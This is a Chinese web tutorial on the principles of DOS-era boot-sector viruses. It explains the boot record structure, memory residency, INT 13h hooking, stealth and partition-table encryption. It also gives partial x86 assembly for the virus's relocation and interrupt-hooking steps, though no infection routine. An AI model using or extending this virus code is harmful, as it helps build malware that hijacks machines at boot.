引导型病毒原理 | |
作者:不详 文章来源:来自 Internet 点击数: <script src="http://count.77169.com/Article/GetHits.asp?ArticleID=1375" language="javascript" type="text/javascript"></script> 0 更新时间:2003-11-12 |
<script src="http://www.77169.org/AD/200604/17.js" language="javascript" type="text/javascript"></script> |
一、病毒原理
想要了解引导型病毒的原理,首先要了解引导区的结构。软盘只有一个引导区,称 为DOS BOOT SECTER ,只要软盘已格式化,就已存在。
其作用为查找盘上有无IO.SYS DOS.SYS,若有则引导,若无则显示‘NO SYSTEM DISK...’等信息。硬盘有两个引导区, 在0面0道1扇区的称为
主引导区,内有主引导程序和分区表,主引导程序查找激活分区, 该分区的第一个扇区即为DOS BOOT SECTER。绝大多数病毒感染硬盘主引导
扇区和软盘 DOS引导扇区。下面给出基本引导病毒的原理图:
带毒硬盘引导------>BIOS将硬盘主引导区读到内存0:7C00处控制权转到主引导程序(这是千古不变的)(病毒)-------->将0:413单元的值减少1K或nK------->计算可用内存高段地址将病毒移到高段继续执行-------->修改INT13地址,指向病毒传染段,将原INT13地址保存在某一单元------>病毒任务完成,将原引导区调 入0:7C00执行------>机器正常引导
带毒软盘引导----->判断硬盘是否有毒,若无毒则传染------>以下同上(传染时将病毒写入主引导扇区,将原引导程序存入某一扇区)
以上是引导型病毒的基本框图,不论是最古老,还是最新的,万变不离其中.只不过在各细节个人的技巧不同罢了.
驻留内存:一般采取修改0:413地址的方法,因为引导时,DOS还未加载 这是唯一的方法,但有很大的缺点,启动后用MEM查看发现常规内存的总量
少于640K,不够隐蔽,当然有办法解决,可以修改INT 8,检测INT 21是否 建立,若建立则可采用DOS功能驻留内存.详细见文件型病毒.
隐形技术:当病毒驻留时,读写引导区均对原引导区操作,就好象 没有病毒一样.
加密技术:一般加密分区表,使无毒盘启动,无法读取硬盘.
引导型病毒的优点:隐蔽性强,兼容性强,只要编的好,是不容易发现 的,通用于DOS WINDOWS WIN95 操作系统。
缺点:很多,传染速毒慢,一定要带毒软盘启动才能传到硬盘,杀毒 容易,只需改写引导区即可。
.如: fdisk/mbr ,kv300,rav能查出 所有引导型病毒,底板能对引导区写保护,所以现在纯引导型病毒已 很少了.
以上是引导型病毒的基本框图,不论是最古老,还是最新的,万变不离 其中.只不过在各细节个人的技巧不同罢了.
二、实现方法
引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情:
a. 减少dos可用最大内存量,以供己需;如:
xor ax,ax
mov ss,ax
mov sp,7c00h
mov ds,ax
mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413
sub ax,2 ; apply 2k mem for virus
mov ds:[413h],ax
b. 修改必要的中断向量,以便传播;
c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);
先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:
mov cl,06h
shl ax,cl ; ax = 8F80
add ax,0840h ; ax = 97c0
mov es,ax
mov si,7c00h ; si = 7c00
mov di,si
mov cx,0100h
repz movsw ; 将病毒移到高端.
v2: push ax
pop ds
push ax
mov bx,7c4bh
push bx
ret ; 指令执行转入高端内存
call v3
v3: xor ah,ah ; ah=0
int 13h
mov ah,80h
and byte ptr ds:[7df8h],al
v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.
push cs
pop ax ; ax=97c0
sub ax,20h ; ax=97a0
mov es,ax ; es=97a0
call v9
mov bx,word ptr ds:[7df9h] ; load logic sector id
inc bx ; bx++ , is boot sector
mov ax,0ffc0h ; ffc0:8000 = 0000:7c00 读入原引导分区内容.
mov es,ax
call v9
xor ax,ax ; AX=0
mov byte ptr ds:[7df7h],al ; flag = 0
v5: mov ds,ax ; ds=0
mov ax,word ptr ds:[4ch] ;
mov bx,word ptr ds:[4eh] ; 修改中断向量.
mov word ptr ds:[4ch],7cd6h
mov word ptr ds:[4eh],cs ; now int13h had been changed
push cs
pop ds ; ds=cs
mov word ptr ds:[7d30h],ax ; save original int13 vector
mov word ptr ds:[7d32h],bx ;
v6: mov dl,byte ptr ds:[7df8h] ; load drive letter
v7:
;=======================================================
; jmp 0000:7c00 ; here is a jump
db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.
;=======================================================
d. 读入原主引导分区,转去执行dos的引导工作。